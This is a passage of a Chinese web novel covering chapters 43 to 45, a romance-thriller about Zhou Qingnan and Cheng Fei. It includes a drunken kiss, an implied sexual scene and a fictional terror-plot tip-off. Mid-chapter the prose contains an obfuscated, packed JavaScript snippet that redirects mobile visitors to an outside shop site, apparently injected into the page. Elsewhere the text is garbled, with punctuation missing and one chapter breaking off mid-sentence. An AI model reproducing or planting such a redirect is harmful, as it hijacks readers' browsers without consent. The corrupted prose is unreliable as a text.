周清南无语。 “立刻闭上眼睛睡觉。” 周清南慢吞吞地俯身贴近她,眼神沉郁,深不见底,沙哑低沉的嗓音听起来危险至极,“再闹腾,信不信我真的收拾你。” “收拾我?”小姑娘脸蛋红耳朵也红,就连脖子根都被染成了暧昧的酡粉色,哭得有点红肿的大眼睛冲他眨了眨,语气隐隐透着点儿小兴奋,“那你方不方便透露一下,你准备用什么姿势收拾我?” 周清南:“……” 周清南要被这个小酒鬼给折腾疯了。他暗沉沉的眸笔直盯着她,居高临 下,几乎是咬牙切齿地挤出几个字:“长这么大没人教过你,别玩火? 醉酒的程菲对大佬的冷峻压迫感已经完全免疫,见他靠过来,她也不害怕,扬起眼尾冲他笑,笑了不算完,还直接伸手捧住了他的脸。 周清南已经猜到这妮子要干什么,眸色骤乱呼吸微浊,偏头躲开的刹那,两片粉润湿软的嘴唇又贴了上来。 不要命地贴了上来。 吻住了他线条凌厉的下颌。 周清南全身再次一僵,下一秒,一把钳住她两只手腕拉高到头顶,将她锁死在床上,目光灼热又露骨,直勾勾地盯住她。 程菲试着把手往回抽,没抽动,挣扎不开动不了,只能使出全部力气更大幅度地扭。 撒野的小醉猫连踢带踹不知轻重,周清南光靠一只手,虽然能控死她的上肢,却管不住那两条不规矩的细腿,让她一扭再扭一蹬再蹬,身体里的血气翻涌如焰,烧得他分分钟快要爆炸。 周清南额头沁出汗珠,呼吸越来越重,只能抬起一条长腿将她整副身子都制住,咬牙隐忍。 好在这样的酷刑并没有待续多久。 没一会儿,完全动弹不得的醉猫便再次闭上眼,浑浑噩噩地睡过去。 周清南见程菲睡下,手上的力道便松开,翻身起来坐床边,又守了她好一阵子,直到她呼吸完全平稳规律后放下心,起身离去,径自进了洗手间。 * 周清南脱了衣服随手丢旁边,进了浴室,拧开水龙头。 花洒水流冲刷而下,寒凉刺骨,冰柱般冲打在男人紧实贲张的背肌上,再顺着根根肌理纹路蜿蜒流淌,没入性.感的人鱼线之下。 磨砂玻璃沾了层层水汽,从外往里看,犹如隔雾看花,只依稀可见一副男性躯体的轮廓,高大挺拔,野性难驯。 周清南闭着眼,眉心紧拧成一个川字。 水流冰冷,一注接一注地冲刷下来,却浇不灭他身体和心里燃着的火。 这一刻,周清南忽然有了一个认知: 或许,玩火的不是那个姑娘,而是他自己。 明知只是饮鸩止渴,却无力自控,每靠近她一分,执念就深一寸。 他如今的所有行为,都是在为一个梦境燃烧,也是在为一个执念自焚…… 登顶峰值的前夕,周清南闭上眼,微抬起下颔,汗液混着冰水从他棱角分明的下颔线滑落,他眼前依稀又出现了那片素白纯净的初雪,还有比雪更白的,她锁骨线条下的皮肤…… 最后的最后,一声低吼从男人喉咙深处溢出。 周清南额头抵住浴室墙,缓了好一阵子,才徐徐睁开眼,在水下清洗右手。 水流沿着指缝流出来,浸出点点白色。 他脸色沉静,忽然又勾了下唇,自嘲似的笑出声来。 这才只是出来第一天,后面还得朝夕相处这么久。 简直要命。 作者有话要说 目前这两只一个还在努力隐忍克制,一个在努力清醒,枷锁太多,不过放心哈,兰贵之行就能全面破局~ 随机100个红包包~ 第 44 章 你当我出来卖的? 第44章你当我出来卖的? 冲完澡出来,周清南随手往腰上裹了块浴巾,走到卧室的床边,低头去看床上的姑娘。 醉猫终于彻底消停下来,小巧白净的脸蛋深深陷进柔软的枕头里,双眸闭合,睡得格外香甜。 如果静下来仔细去听,甚至还能听见她发出的细微呼噜声。 像只不知忧愁为何物的小猪崽子。 周清南注视着床上的姑娘,片刻,嘴角弯起一道浅淡的弧,又伸手替她将踢开了一小片的被子重新盖好,这才转身离开。 来到客厅,随手拿起放在茶几上的烟盒跟打火机,去阳台抽烟。 屋子里开了中央空调,气温舒适宜人,但室外就不同了,平南的六月十分炎热,晚间的风也夹杂热浪,一阵一阵地扑面打来,无端端的就让人心烦。 叮。 周清南把细长的香烟丢嘴里,甩开金属打火机,低头眯眼,将眼尾凑近那簇明黄色的火焰。 吸一口,火星子便燃起来,被夜风吹得忽明忽灭。 他呼出烟雾,习惯性地吹了吹烟尾火星,继而视线远眺,穿过深浓夜色落向未知的远方。 脑子里的思绪一阵飞转,周清南想起了数日之前。 * 滨港西郊,梅宅。 光线幽暗的地下室内,梅凤年随意摆了下手,几个候在一旁的雇佣兵便立刻上前,将四肢都被绑在刑椅上的周清南给放了开。 硫喷妥钠是目前国际上最常用的吐真剂,直达中枢神经,药效待续的时间很长,副作用极强。 周清南刚被注射过一针管的药,这会儿头脑仍是昏沉的,四肢无力,使不上劲,意识知道自己已经被松绑,身体却没法独立站起来。 最后,他是被两个雇佣兵给扶出的地下室。 乘电梯直达三楼书房。 两个外籍佣兵对周清南很客气,将人扶进书房后,其中一个还贴心地给周清南倒了杯清茶,然后才转身离去。 周清南独自坐在会客区的沙发上,薄唇紧抿,脸色如冰,强撑着半支身,单手端过桌上的茶,一饮而尽。 江博士是梅凤年重金聘入梅氏的生化大拿,在业界享有极高的声誉。 当年为了迎接这样一位泰山北斗级人物的加入梅凤年不惜斥下巨资专门为江博士打造了一个生化实验室广纳贤才组建专业团队配备市面上最先进的高精尖仪器全力支持江博士的科研事业。 在江博士的帮助下不到一年时间梅氏集团旗下的“梅氏医药”便成功上市打响了梅氏进军国内医药界的第一枪。 明面上江博士的实验室研制的都是临床药物致力于攻克医学界的许多疑难杂症私下里江博士也会亲自操刀替自家的大老板搞一些见不得光的研究。 江博士是大才不假但世上没有任何人会跟钱过不去。 他研制的最新型神经毒素“吐真剂” 当然了花大价钱搞出的爆款梅凤年自然也不会只用于出售光是梅氏集团内部每个月就能自行消化掉不少存货。 周清南每年都会被注射几次硫喷妥钠。 头回被注射时他身体反应巨大七窍流血浑身抽搐在床上瘫了整整三天才缓过劲。而如今经历得多了再去承受这种万虫嗜脑般的痛苦便已经有些麻木。 比如此刻。 距离注射才过去了一个小时不到他的神思便已清明。 两侧太阳穴还在隐隐作痛周清南身子后仰靠在了沙发靠背上闭了眼抬手轻摁汗湿的额角眉宇间依稀可见一丝病态的疲惫。 就在这时关着的书房门被人从外一把推开随之便传来一道低沉磁性的嗓音混着常年吸烟导致的沙哑半带歉意地笑:“不好意思啊小老弟又让你遭罪了。” 周清南听出是梅凤年的声音细微拧了下眉揉摁额头的手臂垂下来支撑住沙发坐垫试图起身。 “别了。”梅凤年闲庭信步似的走进来夹烟的手在周清南肩膀上轻轻点了下亲昵而温和“坐你的。” 周清南便不再动身眸微垂恭谨而淡漠地回了句:“谢谢梅老。” 梅凤年在地下室点的那根烟已经抽完了一个小时的时间里他已经连续抽了两根尼古丁渗入肺腑剧毒悄无声息蔓延呛得他一阵咳嗽。 咳完,又抽一口。 梅凤年在书桌后的办公椅上坐下,吐出口烟雾,顺手掸烟灰,继而又看眼周清南,颇随意地抬了抬下巴,问他:“现在感觉怎么样? “除了头疼,身上的肌肉使不上力以外,没什么特别的感觉。周清南没什么表情地回答。 “那还挺不错的。 周清南也跟着笑了下,语气随性,“也可能是因为我注射的次数太多,有免疫了,毕竟承蒙梅老重用,每回新药出来,我不都是最早一批试用人员么。 话音落地,屋子里的空气瞬间一静。 梅凤年抽着烟,眯了下眼睛,精锐如鹰的眸笔直盯着沙发上的年轻男人,眼神不善。周清南也直勾勾迎视这道审度,脸上神情漠然,波澜不兴。 约莫过了两秒钟。 蓦地,一阵低低的嗤笑击碎死寂。 梅凤年笑出声来,高大身躯在办公椅上调整了一下姿势,两条修长笔直的长腿优雅交叠,食指隔着空气重重点了下周清南,说:“知道吗小子,全公司这么多人,只有你他妈敢阴阳怪气跟我说话。 梅凤年生性阴鸷,脸上虽挂着笑容,眼底神色却喜怒莫测,让人摸不准他哪一秒就会翻脸不认人。 周清南这头却没太大反应,镇定自若与之对视,淡淡地说:“梅老最了解我。我从小野狗一条,无父无母没人教养,狂惯了,改不了。 梅凤年闻声,这次是真的哈哈大笑起来。 他笑了好几秒才勉强停下,抽着烟,笃悠悠地道:“算了,谁让我就喜欢你身上这股劲儿。说到这里,稍停顿了下,目光在周清南身上打量一遭,又叹了口气,有些感慨地说,“阿南,你也别怪我,你知道我一贯疼你,但是大哥这个位子太难坐。其实我不止对你,我对自己更狠。 周清南:“我理解您。 “你这混小子,嘴上说理解,心里不知道把我这糟老头子骂成什么样。梅凤年笑怼了一句,缓上两秒,续道,“说起来,我好像一直 没问过你,当年为什么会想到要去跟阿天?咱们这行可是提着脑袋做买卖,今朝有酒今朝醉。阿南,你真的不怕死? 周清南漠然道:“出来混的时候年纪小,也没想过那么多。谁让我出人头地,我当然就对谁忠心。 梅凤年又问:“也不管是非对错? 周清南反问:“是非对错值几个钱? 得到这些回答,梅凤年被烟熏得眯了眯眼睛,而后便耷拉下眼皮,轻蔑一笑,曼声说:“是啊,是非对错能值几个钱,在这个世上,什么都是假的,只有钱和权才是真的。 “我小时候总听我老妈说要做个好人,正直善良心怀公义,呐,那个小时候小嘛,最听老妈的话,她说什么当然就是什么。所以我认真念书,拼命拼命地念,十几年寒窗苦读,终于考上了大学。回忆起往事,梅凤年的眼神变得久远,语气也凉凉的,“本以为好日子要来了,结果呢,分配工作的时候让一个什么都不如我的混蛋背后捅一刀。后来我才知道,那个衰仔,人家家里是挖矿的,金山银山,姑父还是个什么鬼厅长,厉害得很,像我这种草根,就算把书读烂、把眼睛读瞎,都比不上人家一根头发丝。 “从那个时候起我就明白了,这个世界什么都是明码标价的,所谓的公理、道义、良知,在钱和权力面前,屁都不是。 梅凤年说话的同时,手里的烟又抽完。他掐了烟头,又从烟盒里取出两根新的,一支丢自己嘴里,一支随手丢给周清南。 “最新订制的,全世界独一份。 周清南面无表情地将烟点燃。 “怎么样?是不是比市面上能买到的所有烟都醇?梅凤年嘴角的笑意愈发讥诮,“这就是权贵的世界。 “钱可以买到任何东西,定制的香烟,豪华游艇,海景别墅,甚至是一个人的理想和良知。这个世界就是这么残酷这么现实,谁有钱谁掌权,谁就是老大。阿南,你说我说得对不对? 周清南呼出一圈淡白色的烟雾,眼皮耷拉下去,语气恭谨而平静,道:“梅老说的,就是我心里想的。 “干我们这一行的,都是同道中人,都有一样的目标。梅凤年说,“你从小受了那么多苦遭了那么多罪 ,肯定最明白一个道理,宁要人恨,莫要人怜。 周清南静了静,很淡地笑了下,“梅老有什么话就直说吧。 “哟,瞧我,老了老了,不仅脑子越来越糊涂,连话也变多了。梅凤年故意做出副懊恼表情,接着便伸手拉开书桌的第二个抽屉,取出一个牛皮文件袋,给周清南扔了过去。 周清南抬臂接住。 “上头有新活来了。 闻声刹那,一丝惊异的光从周清南眼底飞快划过,犹如流星刺破漆黑夜空,转瞬即逝。 周清南低眸看着手里的文件袋,手指微动,准备拆开。 “回去再看。梅凤年冷声说。 周清南动作倏地顿住。 梅凤年:“这次行动,我一共安排了六个人,你负责通揽全局,另外五个人会协助你。 周清南撩起眼皮看梅凤年,问:“另外五个人是谁? “你暂时不用知道。梅凤年语气如常,“这份文件袋里,也仅仅只有一个大致的任务内容,一切细节,包括另外五个人的身份,你都不用多问。在正式行动开始前的四小时,我会召集你们所有人开一次视频会议。 周清南捏住文件袋的指不自觉收紧几寸。须臾,平静点头,“好。 …… 回忆到此中断。 周清南手里的烟只抽了一口,火星子被夜风吹得越燃越烈,这会儿已经将整根烟烧得只剩小半截,大段烧透的烟灰悬于烟尾,摇摇欲坠。 随着他指尖一个轻抬动作,便轰然塌毁,从数米坠落下去,再被风吹得四分五裂,归于虚无。 周清南将烟头塞嘴里,深吸一口,烟雾背后的面容沉冷难辨,眸光晦暗。 西郊梅宅那一日,是梅凤年第一次让他直接接手红狼组织下达的任务。 梅凤年疑心极重,且行事格外谨慎,给他的文件袋里只有一份文件,只简单提及了任务内容。 根据文件提示,下个月四号,红狼组织计划在中国乌川进行一场恐怖袭击,目标共有四处。 但这四处目标点具体是哪里,又将由哪几个人负责实施、甚至是恐袭的具体方案,是自杀 式爆炸、持械伤人、还是别的什么文件上都只字未提。 乌川…… 乌川。 周清南眯起眼大脑飞速运转随手将烟头掐灭丢进烟灰缸然后便大跨步折返回客厅。 套房客厅里有个书桌上面正好摆着这家酒店配备的意见簿和一支深蓝色的钢笔。 周清南单手掀开笔帽在白纸上书写。 红狼组织在国际上很出名是一个暴力犯罪团伙前身是恶贯满盈的邪教“里神教”教众信徒遍布世界各地。这个组织没有固定的落脚点大本营总部设立也不明晰人员极其复杂哪洲哪国的都有往往受雇于更大的幕后组织在各国的大型城市从事暴力活动。 破坏国家秩序危害国家安全。 根据红狼组织过往的恐袭风格它们往往会挑选一座城市人流量最多的地标建筑下手。 【六月四号。乌川火车站乌川汽车总站乌川机场乌川各大商圈中心。】 周清南面容冷静飞快在纸上写下了几个预测恐袭点以及暂定恐袭的日期。 然后从行李箱的最底层夹缝里取出了一个卸下电池的手机。 很多年前的按键机款式很老 周清南飞快地将电池重新安装长摁开机键。 大约十来秒后。 叮叮叮——开机提示音响起。 他拨出去一个号码。 嘟嘟数声之后听筒里的盲音消失那头有人接通了连线。 对方没有说话周清南沉着脸也一声不吭两方的空气都静若死灰。 片刻连线那端传来了一阵敲击声极细微:哒——哒哒哒——哒哒——哒。 周清南半秒便解读出这串敲击声传递的信息微微眯了下眼视线紧盯着白纸上的文字修长指尖在手机底部的边框处敲打起来将上面的内容全部转换为特殊密码传过去。 半分钟过后连线便切断。 周清南用最快的速度卸下电池又将那张写了字的白纸一把撕下来拿到阳台用打火机点燃。 夜风比刚才更大了些。 纸张燃烧尘埃碎屑被风翻卷到天上。 周清南半蹲在玻璃门前火 光在绚烂的一刻照亮他冷峻沉肃的面容,但也仅仅只在一瞬。 白纸被完全烧透,仿佛从未在世间存在过,所有痕迹都被风吹散,随风远去。 烧完纸,周清南随意地扑了下手,扭头进屋。 客厅里乱糟糟的,又是啤酒罐子又是纸巾碎屑,沙发上的抱枕也七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717614|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 零八落散一地,不用说都知道是哪个小家伙干的好事。 周清南看着这一室混乱静默了会儿,最终也只是低叹出一口气,弯腰收拾。 将纸巾的碎屑和酒罐子扔进垃圾桶,又把地上乱七八糟的抱枕捡起来,规整地摆放到一旁。 做完这一切,周清南关了灯,不要枕头也不要棉被,就那么光着身子大剌剌地往沙发上一倒,闭眼睡觉。 过了会儿。 男人像想起什么,又猛地睁开眼睛,从沙发上坐了起来,认命般光脚起身,去卧室的洗手间取他的内裤和大裤衩子。 还是别一丝.不挂得好。 周清南算是看出来了。 那小东西看着古怪精灵挺聪明,有时候也二得很,三不五时就要在他面前抽回风。 要是明儿一早起来,让她看到他光着个身子睡在沙发上,肯定又得面红耳赤原地跳脚,奶凶奶凶地骂他耍流氓。 周清南走进卧室,步子刻意压得轻,到浴室拿了裤子随手套上。 出来后,视线微转,不由自主便落向了那张大床。 他走过去。 床上的姑娘仍旧沉睡,呼出的气息里混着清甜味浓的酒香,浓密的睫毛掩映下来。她五官长得很美,脸型也精巧流畅,此时睡着了,整个人便显出一种难以言说的柔。 楚楚柔美,使人联想到晚风与潺潺浅溪这类意象。 周清南低眸定定注视着程菲的睡颜,片刻,心念微动,便抬指想要触摸她。 指尖距离那张脸蛋还剩寸许时,又停下,悬在了半空。 周清南眸色极深,沉沉呼出一口气来,收回了手,转身离去。 今夜已经足够放纵。 食髓知味,越吃越饿。再碰她一下,他怕自己真要犯下弥天大错。 * 云城某高档写字楼顶层,夜深人静,狂风呼号。 天台上摆着一罐冰可乐,大约是从冰柜 里拿出的时间太长,罐子表面的冰霜已经化开,水汽凝成珠,其中几滴徐徐滑落,在底部的水泥台面上形成一小圈深色印记。 不多时,一只骨节分明的大手从旁边伸出,拿起可乐罐,仰头直接喝得精光。 喝完,男人随手将可乐罐子捏扁变形,扔进旁边的垃圾袋,转而拿起放在手边的一个笔记本。 上面记录着数个拆分好的密码。 他眯了眯眼,面无表情将这些特殊密码重新排列、组合,最后拼凑出几个关键信息。 「时间:6月4日,地点:乌川机场,乌川火车站,乌川汽车总站,乌川各大商圈中心。」 凭借多年默契与经验,男人很快便推测出这些信息是什么意思。 他拿出手机,直接拨出去一个座机号码。 嘟嘟几声,接通。 听筒对面传出一个年轻男子的声音,文质彬彬,说道:“丁组长,您说。” “是郑秘啊。”男人随口问了句,说话的同时还从耳朵上面取下一根烟,懒洋洋地丢进嘴里,“老总还在没?” 对面的人笑着说:“刚开完会,还在办公室加班呢。” “行,我知道了。”男人回了句。 郑秘书顿了下,很快便明白男人这通电话的用意:“丁组长现在要过来找老总?” “嗯。”男人神色沉几分,说,“来消息了。我有重要事情跟老总汇报。” * 次日,随着太阳的冉冉升空,荒诞一夜总算落幕。 程菲头天夜里喝多了,醒过来后只觉头疼,全身每块肌肉每根神经都在叫嚣着不适。 阳光从窗帘的缝隙里投射进来,刚好照在程菲的脸蛋上。她长发乱得像鸡窝里的杂草,巴掌大的小脸也因为醉酒而稍显浮肿,眼神懵懵,表情呆滞,总而言之,整个人就是一个大写的“衰”。 怎么脑袋这么疼,昨晚发生什么事了? 几缕发丝垂落在脸颊边,扫得程菲痒痒的。她抬手捋开,又茫然地抠抠脑袋,尝试着回忆昨夜。 对了。 昨天她为了尽快入睡,好像把房间里提供的四罐啤酒给吨吨喝了。 然后呢?喝完啤酒之后又发生了些什么? 程菲皱起眉。脑子迷糊,还没完全恢复 运转,她拿手掌连续轻拍了好几下,费劲地回想。 蓦地。 就跟冒雪花的老电视机在大力拍打下被修好了似的,几帧画面从程菲眼前飞速闪过去。 男人放大的俊脸近在咫尺,她冲着他一脸痴汉笑,边傻乐边霸气威猛地将嘴巴怼上去,发出一记响亮又清脆的“啵唧”…… …… ?? !! 晴天一道霹雳砸下来,正中程菲的天灵盖。她抱着棉被当场石化,不可置信又惊恐万分地捂住额头——想起来了。全都想起来了。 她昨晚喝多之后兽性大发,貌似把那位大佬给…… 天哪!!! 就在程菲恨不得原地挖个坑把自己埋起来的时候,忽闻砰砰两声,一阵敲门声蓦然响起。 她又羞又窘难为情到极点,脸也红了个透,迟疑好几秒,才哑着嗓子故作淡定地应了声:“……干嘛?” 门外传来一道熟悉的嗓音,清冷而磁性,淡淡地问她:“睡醒没有?” “……差不多了。” “出来吃早饭。”门外的男人语速平缓,听起来漫不经心,“一会儿凉了。” “……哦。”程菲瓮声瓮气地应。 一问一答的对话结束,卧室外面就没了声音。 程菲呆坐两秒,然后抄起棉被直接把自己捂了起来,在被窝里咬着手指无声咆哮:苍天啊大地啊!出了这样的事!我等下要怎么面对那位刚被我强吻玷污过的大佬啊! 不过。 听那位大佬刚才说话的语气,还是挺正常的,好像什么都没发生过,并没有打算揪着她的领子给她揍一顿以泄心头之恨的意思。 所以现在该怎么办? 扔下他拔腿就跑? 不现实。就算徐总不找她秋后算账,她也不可能直接从这么高的楼上跳下去吧? 出去对着周清南痛哭流涕地道歉,抱着他的大腿求原谅? 做不出来,实在太尴尬了。 装傻?假装对自己昨晚的禽兽事迹毫无印象? ……倒是有点可行性。可要是那位大佬冷不丁问起来,她怎么办?一点应对的说辞都没准备好,岂不是会囧到当场去世? 程菲思索过来思索过去,觉得装傻充愣实在非君子所 第 45 章 逼到他快要发疯。 第45章逼到他快要发疯。 老实说,程菲这会儿虽然看起来比昨晚清醒多了,但实际上,她宿醉头疼,整副脑子还跟搅了团浆糊似的。 在周清南对她发出最后那句灵魂拷问的时候,她整个人还有点懵。 一时间分不清是这位爷想得太多,还是自己的行为确实不妥。 “你当我出来卖的?” 话音落地,套房客厅悄然一静。 程菲呆滞地怔在原地,清透晶莹的眼瞪得圆圆的,瞧着眼前这位脸色阴晴莫测的大佬。 沉默,沉默,死一样的沉默。 足足三秒钟过后,她才眨了眨眼睛,迟钝地反应过来——大佬这个结论虽然很诡异,但也并不是毫无根据。 前儿夜里刚给人强吻了一顿,转头第二天就摸出八张百元大钞丢人面前,无形当中就把这场纯粹的意外给转化成了一场一点不纯粹的金钱交易。 这误会可不就是闹大发了吗? 失策! 回过神后的程菲只觉更加窘迫,本来就通红的两腮温度也蹿升得更高,导致她整颗脑袋直接成了只熟透的苹果,绯红欲滴。 “不是不是,周总您误会了。”程菲面红耳赤地解释,急得舌头都快抡不直,“我、我绝对没有这个意思。” “那你什么意思。”周清南低声问。 昨晚她几两黄汤下肚,醉酒失态,周清南本来并不打算跟这小东西计较。想着他一个男人,让她抱了就抱了,亲了也就亲了,今天只要谁都不提,当没发生过,这事儿自然而然就能翻篇。 哪成想,这姑娘今天一大早起来,会直接干出这么件离谱的事。 直接扔给他800块钱,几个意思? 拿他当只鸭打发? 这头。 眼瞧这位大佬薄唇紧抿眼神暗沉,程菲就是脑子再迷糊也察觉到了他的不爽,心中又焦灼又不安,顿半秒,嗫嚅着小声说:“我想着昨天晚上自己做的事情,实在太罪大恶极了,肯定给你造成了不小的心理阴影……这不是想着,补偿一下你吗。” 周清南听完,让这小女人给气笑了:“你刚才在屋里磨磨蹭蹭那么久,就想出来这么一个补偿的招?” 程 菲:“…… 周清南直勾勾盯着她,齿根磨了下槽牙,声音低得危险:“你怎么这么能呢。 “总之、总之我不是想羞辱你! 他沉声说话时本就极具压迫感,再配上这副像是要把她给生吞活剥了的眼神,着实吓人得很。 程菲胸腔里的心脏跳得飞快,慌乱地争辩了句,眼风一扫,瞟见自己手里捏着的百元大钞,赶紧藏到身后去,补充道:“你既然不愿意接受我的金钱补偿,那就算了,我向你诚恳地道歉。 说到这里,她停顿了下,为彰显诚意还特地弯下腰给他鞠了一躬,正色道:“对不起! 周清南耷拉着眼皮定定瞧着她,没有吭声。 这边程菲鞠完躬,等了一秒,见头顶上方的大佬没反应,心中惴惴又忐忑,不禁悄然抬眸,偷看了周清南一眼。 周清南薄唇紧抿成一条线,又盯着程菲看了半秒,而后便侧过头,压抑什么般沉沉缓慢地吐出一口气,没有语气地说:“昨晚的事,就当没发生过。 “……程菲眸光微闪,溢出一丝诧异的光,徐徐直起身,愣怔地望住他。 男人英俊冷厉的侧颜被笼在清晨的日光中,因为背光,显得有些模糊,教人看不清他眼底神色。 只听见那道磁性嗓音继续传来,冷静地道:“你我谁都不要再提。 程菲轻轻抿了下唇瓣。 当没发生过,谁都不要再提。 这些分明都是她希望得到的结果,可当这些话真的从这人口中说出时,一丝淡淡的失落却从心底深处升起,萦绕在了她心尖。 片刻,程菲回过神,嘴角微勾挤出个礼貌的笑,点点头,应他:“谢谢你不追究,我知道了。 屋子里又静了静。 就在这时,“砰砰敲门声从外面传来,是客房部的清洁工阿姨,隔着一扇门板询问里面,道:“请问需要打扫房间吗? “哦,不用了。 “好的。清洁工阿姨离开,脚步声沿着走廊逐渐远去。 突然出现的阿姨就像一场及时雨,将屋里微僵的气氛打破。 周清南合了合眸,扭头看身前的姑娘一眼,语气和眉眼神色皆柔缓下来 ,淡淡地说:“坐下吃饭吧。 “哦。程菲点头,有点不自在地动身挪步,坐到了周清南对面的餐椅上。 低眸一瞧,面前摆着几份白粥和小菜糕点,样式精致,都很清淡。 对面的周清南注意到程菲的目光,以为她对面前的早点不太满意,便柔声道:“你昨晚喝多了,今天一整天估计都会头疼,所以早餐我给你点的清粥,有助于解酒。 “嗯,谢谢你。程菲嗫嚅着回了句,然后就低头吃起来。 周清南又看了她须臾,也动筷进餐。 之后,两人各自吃着自己面前的早饭,沉默安静,再也没说过一句话。 没一会儿,程菲刚喝完小半碗清粥,夹起一块精致的小花卷咬了口,正咀嚼着,忽然听见对面传来一阵细微而清脆的哐当声。 她下意识抬起眼帘。 看见周清南已经放下碗筷,随手抽出张餐巾擦嘴,垂着眸,姿态闲散,脸色平淡。 程菲怔了怔,目光看向男人面前的餐具。 包点、清粥还有所有小菜,全都一扫而空,吃得干干净净。 居然就全都光盘了?这么快? 她诧异,腮帮鼓鼓地脱口说道:“你就吃完了? “嗯。周清南把用过的纸巾丢进垃圾桶,掀高眼皮看她一眼,语气冷静而温和,“你慢慢吃。 虽然这位爷放话让她慢慢吃,但程菲想起今天还要赶路,哪里还真的让他等太久,也颠颠地加快速度。 直接把手里的花卷囫囵塞嘴里。 嚼吧嚼吧,有点噎,干脆端起粥碗猛喝了一口。 然后被呛到,又捂着嘴闷闷地咳嗽起来。 程菲白皙小巧的脸蛋瞬间涨红一片。 对面的周清南看她吃得太急,眼泪都被呛出来,一双黑玻璃珠似的眼眸蒙上一层雾气,湿漉漉的,瞧着柔弱楚楚我见犹怜,食指很细微地蜷了下。 骨子里有什么又开始蠢蠢欲动。 瘾念翻涌,他又想抽烟了。 “你慢慢吃,不着急。 程菲飞快接过茶水轻抿了口,等喉咙里的那阵痒意缓下去,才清清嗓 子,回他:“这里去兰贵还要好几个钟头,我早点吃完可以早点出发。 周清南:“早到十分钟和晚到十分钟没有本质上的区别。 “……好像确实是这样。 程菲被哽了下,汗颜,停顿半秒后又掏出手机,边打开订票APP察看今天从平南到兰贵的大巴信息,边眼也不抬地问对面:“周总,现在才早上八点多,我之前查到从这里到汽车总站也就二十来分钟,我订个九点半的票应该能赶上。您意下如何? 周清南随手将桌上的烟盒跟打火机拾起,没什么语气地应她:“侯三安排了车。 程菲动作蓦地一僵,坐在椅子上反应了两秒,才想起,侯三就是昨天去机场接他们的瘦猴大哥。 昨天周清南告诉她,这次他来平南,根本没有事先知会过侯三,但侯三却提前收到了消息与他联络。 现在又连他们去兰贵的车都已经安排好…… 程菲轻皱眉头,意识到,侯三背后的人,对他们两人的行踪是真的了如指掌。 短短几秒钟的时间里,程菲思绪万千,脑子里乱糟糟的,有点担心又有点害怕。直觉告诉她,这次的兰贵之行不会如她所愿的那样一帆风顺。 琢磨着,她又低头喝了口粥,脸上若有所思,没有说话。 这时,对面的男人又再次出声,平缓而冷静地说:“别想那么多。天塌下来,还有我在上头给你撑着。 闻声刹那,程菲愣怔了瞬,心头那股强压多时的情愫再次潮浪般用来,将她铺天盖地淹没。 他的话轻描淡写,却透着令人安定的魔力。 程菲看着周清南深不见底的眸,须臾,缓慢地颔首,朝他绽开一抹浅笑,“嗯。 随后,周清南便径自起身,迈着一双大长腿行至客厅尽头,将用于隔断的玻璃门往边儿上一推,到阳台上抽烟去了。 晴空万里开阔,天边流云变幻。 周清南点燃一根烟,缥缈的烟雾袅袅升空,又在风力的摧残下拉扯、挣扎,直到消失。 人性的贪念何其可怕。 近得一寸,总会贪求一尺。 要么就永远碰都不碰,沾过之后再强迫自己放手,难比登天。 周清南有些颓然地阖上双眸。 昨晚过后,他已经感受过她嘴唇的柔软、身体的馨香。后来在沙发上睡下,躺了一夜,就梦了她一夜。 脑海中反复回忆起那张朱润饱满的唇、那脆弱可怜又雾蒙蒙的眸,还有她稀里糊涂间发出那阵哭声,绵软娇嗲,一声声,喊他作“小哥哥”…… 这一切的一切,全都逼到周清南快要发疯。 可是又能怎么样? 哪怕他已经入了魔,毒入骨髓最疯狂的刹那,也不过只敢亲吻她微凉的发丝。 如果有未来。 指尖一阵刺痛袭来,周清南回神,将烧完大半的烟放进嘴里,深深吸了一口。 今天是5月28日。 距离下个月四号,还剩7天。 5月28号,5月28号。 这日子,说起来还有点儿特殊。 周清南在晨光和微风里抽着烟,眼神有刹那放空,神色沉寂,不知在想什么。 * 滨港市,平谷区程家。 哗啦啦的水声从厨房里传出,蒋兰腰上系围裙,将一个大号洗菜盆放在水槽里,正在往盆里放水。 没一会儿,水满至洗菜盆的三分之一处,她看差不多了,反手便拧紧了水龙头。 一个白色食品袋挂在厨房门的背后。 蒋兰过去取下来,打开袋子看了眼,里头一条大花鲢瞪着一双鱼眼睛张着嘴,唇部一开一合,显然出气已经多过进气,时不时还能挣扎着摆摆尾巴。 见鱼还活着,蒋兰嘴角勾起一抹满意的笑,将袋子整个提起来,拎到水槽上方往下一倒,大花鲢掉进菜盆,鱼得水,瞬间生龙活虎地游动起来。 “你运气挺好啊。”蒋兰洗了把手,边用围裙擦着手上的水迹,边凉悠悠地对大花鲢说,“本来说中午就把你给红烧了,结果我老公要出门办事,晚上才能回来,好好享受最后的鱼生吧。” 话音刚落,一阵低笑便从卧室方向传来。 蒋兰微皱眉,回过头。 程国礼已经换好衣裳走出来。 能生出程菲这样的漂亮闺女,程国礼和蒋兰这对夫妻的颜值自然也不会低。事实上,程国礼身高一米八几,宽肩窄腰身形挺拔,五官轮廓也立体而流畅,年轻时也迷倒过一大片少女。 只是人到 中年变得不修边幅,随时就套个大裤衩子大T恤到处溜达,久而久之,就连妻子蒋兰都忘记了自家丈夫还是个大帅哥这件事。 今天的程国礼倒跟平时有些不一样。 他翻出了衣柜最里面的白衬衣西装裤,没怎么走样的身材往这身装束里一套,盘靓条顺,精气神十足,乍一瞧,还颇有几分年轻时的影子。 程国礼听见了蒋兰跟鱼的对话,心下好笑,边往手腕上戴腕表边打趣她,说:“你跟鱼说话,那鱼能听懂?” “它就是我桌上一道菜,我管它能不能听懂。”蒋兰回了句,视线在程国礼身上打量一遭,目露疑色,“你不是陪你老领导去花水溪钓鱼吗?” 程国礼面不改色心不跳,回她:“是啊。” 蒋兰不理解,伸手隔空在程国礼那身行头上比划比划,“那你怎么穿得这么正式,钓个鱼而已,连白衬衣都翻出来了。” 